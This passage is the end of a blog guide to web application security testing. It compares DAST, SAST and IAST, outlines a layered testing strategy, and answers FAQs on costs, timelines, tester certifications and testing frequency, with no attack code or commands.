- Use multiple tools: Combine SAST, DAST, SCA, and manual testing
- Secure the pipeline: Protect CI/CD credentials and secrets
- Test the tests: Ensure security scans are actually running
DAST vs SAST vs IAST Comparison
Understanding the differences between testing methodologies helps build a comprehensive security program:
| Aspect | DAST | SAST | IAST |
|---|---|---|---|
| Testing Method | Black-box (external) | White-box (internal) | Gray-box (instrumented) |
| Code Access | No source code needed | Requires source code | Requires instrumentation |
| Testing Phase | Runtime (QA/Prod) | Development/Pre-compile | Runtime (QA) |
| Execution Required | Yes | No | Yes |
| Language Dependency | Language-agnostic | Language-specific | Language-specific |
| False Positive Rate | Medium-High | High | Low |
| Coverage | Externally accessible code | All code paths | Executed code paths |
| Performance Impact | None on app | None | Some overhead |
| Root Cause Info | Limited | Exact line numbers | Exact line numbers |
| Authentication Testing | Yes | No | Yes |
| Business Logic Flaws | Yes | Limited | Yes |
| Configuration Issues | Yes | No | Yes |
| Speed | Slow (hours) | Fast (minutes) | Medium (real-time) |
| Cost | Medium | Medium-High | High |
| Scalability | Good | Excellent | Limited |
| CI/CD Integration | Challenging | Easy | Easy |
When to Use Each Method
Use DAST when:
- Testing production or staging environments
- Validating deployed configurations
- Assessing third-party or closed-source applications
- Performing compliance scans
- Testing full application stack including infrastructure
- Simulating real-world attack scenarios
Use SAST when:
- Early in development lifecycle
- Reviewing code changes in pull requests
- Training developers on secure coding
- Need to identify exact vulnerability locations
- Scanning large codebases quickly
- Building security into IDE workflows
Use IAST when:
- During QA and functional testing phases
- Need accurate vulnerability validation
- Want to minimize false positives
- Can instrument application (have access)
- Need detailed attack path analysis
- Building comprehensive DevSecOps workflows
Recommended Combination Strategy
Layered Security Testing Approach:
Development Phase:
├── IDE Security Plugins (real-time SAST)
├── Pre-commit Hooks (fast SAST)
└── Code Review (manual)
CI/CD Build Phase:
├── Comprehensive SAST Scan
├── Dependency Vulnerability Scan (SCA)
└── Container Security Scan
QA/Staging Phase:
├── IAST (during functional testing)
├── DAST Baseline Scan
└── API Security Testing
Pre-Production:
├── Comprehensive DAST Scan
├── Manual Penetration Testing
└── Security Code Review
Production:
├── Continuous DAST Monitoring
├── Runtime Application Self-Protection (RASP)
└── Bug Bounty Program
This multi-layered approach, as detailed in our complete penetration testing methodology, provides comprehensive coverage across the entire SDLC.
Frequently Asked Questions
1. What is the difference between web application security testing and penetration testing?
Web application security testing is a specific type of security assessment focused exclusively on web applications, their APIs, and related web services. It examines application-layer vulnerabilities like SQL injection, XSS, authentication flaws, and business logic issues.
Penetration testing is a broader security assessment that includes infrastructure, networks, wireless, physical security, and social engineering in addition to application testing. A penetration test may include web application testing as one component.
Web application security testing is deeper and more thorough for web-specific vulnerabilities, while penetration testing provides a holistic view of organizational security posture. For enterprise environments, both are recommended as complementary activities. Learn more in our Complete Penetration Testing Methodology Guide.
2. How much does web application security testing cost?
Pricing varies significantly based on scope and approach:
Manual Penetration Testing:
- Small application (< 25 pages): $5,000 - $15,000
- Medium application (25-100 pages): $15,000 - $40,000
- Large enterprise application: $40,000 - $100,000+
- API testing: $8,000 - $25,000
Automated DAST Tools:
- OWASP ZAP: Free (open source)
- Burp Suite Pro: $449/year per user
- Acunetix: $4,500+/year
- Netsparker: $5,000+/year
SAST Tools:
- SonarQube: Free (Community) / $10,000+ (Enterprise)
- Checkmarx: $50,000+/year
- Veracode: $50,000+/year
Platform Solutions (SAST + DAST + IAST):
- Snyk: $1,200 - $10,000+/year
- Contrast Security: Custom pricing
- Application Security Platforms: $50,000 - $500,000+/year
Recommended approach for most organizations: Combine automated tools ($5,000-15,000/year) with annual manual penetration testing ($15,000-40,000) for comprehensive coverage at reasonable cost.
3. How long does web application security testing take?
Testing duration depends on application complexity:
Automated Scanning:
- Basic DAST scan: 1-4 hours
- Comprehensive DAST scan: 8-24 hours
- SAST scan: 30 minutes - 4 hours
Manual Testing:
- Small application: 2-5 days
- Medium application: 1-2 weeks
- Large application: 2-4 weeks
- API security testing: 3-7 days
- Re-testing remediation: 1-3 days
Factors affecting duration:
- Number of unique pages and endpoints
- Complexity of authentication and workflows
- API endpoint count
- Documentation quality
- Scope restrictions and testing windows
- Required compliance standards
Typical engagement timeline:
- Week 1: Scoping, reconnaissance, automated scanning
- Week 2-3: Manual testing, exploitation, validation
- Week 4: Report writing, presentation
- Week 5: Re-testing after fixes
For CI/CD integrated scanning, automated tests typically complete within 15-45 minutes per build.
4. What qualifications should a web application security tester have?
Essential certifications:
- OSCP (Offensive Security Certified Professional) - Hands-on pentesting
- OSWE (Offensive Security Web Expert) - Advanced web application exploitation
- CEH (Certified Ethical Hacker) - Foundational security knowledge
- GWAPT (GIAC Web Application Penetration Tester) - Web app specific
- CPSA (Certified Professional in Secure Application) - Application security
Technical skills required:
- Proficiency with Burp Suite, OWASP ZAP, and other penetration testing tools
- Understanding of web technologies (HTTP, HTML, JavaScript, REST APIs)
- Knowledge of programming languages (Python, JavaScript, PHP, Java)
- Database query languages (SQL, NoSQL)
- Understanding of OWASP Top 10 and common vulnerabilities
- Experience with security frameworks and compliance standards
- Familiarity with Kali Linux and security testing environments
Soft skills:
- Strong written communication for security reports
- Ability to explain technical issues to non-technical stakeholders
- Ethical mindset and adherence to rules of engagement
- Problem-solving and creative thinking
- Continuous learning (threat landscape evolves constantly)
Experience indicators:
- 3+ years in information security
- Portfolio of successful security assessments
- Bug bounty achievements (HackerOne, Bugcrowd profiles)
- Contributions to security tools or research
- Active participation in security community (conferences, CTFs)
5. How often should web applications be security tested?
Testing frequency recommendations:
Continuous (Automated):
- SAST scans on every code commit
- Dependency scanning on every build
- Container scanning before deployment
- Basic DAST scans on staging deployments
Monthly:
- Comprehensive automated DAST scans
- Vulnerability signature updates
- Security monitoring review
Quarterly:
- Focused manual testing on new features
- API security assessments
- Security control validation
Annually:
- Full-scope manual penetration testing
- Compliance assessments (PCI DSS, SOC 2)
- Security program review
Trigger-Based Testing (as needed):
- Major feature releases or architecture changes
- After security incidents or breaches
- When adding third-party integrations
- Before acquiring or being acquired
- After significant code refactoring
- When expanding to new markets/regulations
Risk-based approach:
- High-risk applications (financial, healthcare): Monthly automated + Quarterly manual
- Medium-risk applications (e-commerce, SaaS): Quarterly automated + Annual manual
- Low-risk applications (marketing sites): Annual comprehensive testing
Continuous security culture: Beyond scheduled testing, implement security training for developers, establish secure coding standards, conduct code reviews, and maintain an active bug bounty program for ongoing community-driven testing.
Conclusion
Web application security testing is no longer optional in today's threat landscape—it's a business imperative. The average cost of a data breach continues to rise, while attackers become increasingly sophisticated in their targeting of web applications.
This guide has covered the essential aspects of web application security testing:
✅ Foundational concepts and why security testing matters
✅ Testing methodologies (DAST, SAST, IAST) and when to use each
✅ Comprehensive testing process from reconnaissance to reporting
✅ OWASP testing categories providing structured coverage
✅ Essential tools including Burp Suite, ZAP, Nmap, and SQLMap
✅ Common vulnerabilities to test for, including the OWASP Top 10
✅ Practical test cases and checklists for thorough assessments
✅ Effective reporting techniques for driving remediation
✅ CI/CD integration for continuous security validation
Key Takeaways
- Shift security left: Integrate testing early in the SDLC to reduce costs and accelerate delivery
- Combine approaches: Use automated tools + manual testing for comprehensive coverage
- Test continuously: Security is not a one-time activity but an ongoing process
- Prioritize by risk: Focus on critical vulnerabilities that pose the greatest business risk
- Foster security culture: Make security everyone's responsibility, not just the security team
Next Steps
Ready to strengthen your web application security posture? Here's what to do next:
- Set up your testing environment with Kali Linux
- Learn the OWASP Top 10 with our Complete Web Application Security Guide
- Master essential tools with our Ultimate Penetration Testing Tools Guide
- Understand attack techniques like SQL Injection
- Explore API security with our API Security Testing Guide
- Practice regularly on platforms like HackTheBox, TryHackMe, and PortSwigger Academy
Additional Resources
Essential reading:
Related articles on AndraxPentester.in:
- Penetration Testing Methodology: Complete Guide for 2026
- Nmap Cheat Sheet: Complete Command Reference 2026
Security is journey, not a destination. Stay curious, keep learning, and remember: test everything, trust nothing.
About the Author: Syed Abrar (Andrax Pentester) is a cybersecurity professional specializing in web application penetration testing and secure code review. Follow for more security insights at AndraxPentester.in.
Last updated: January 2026
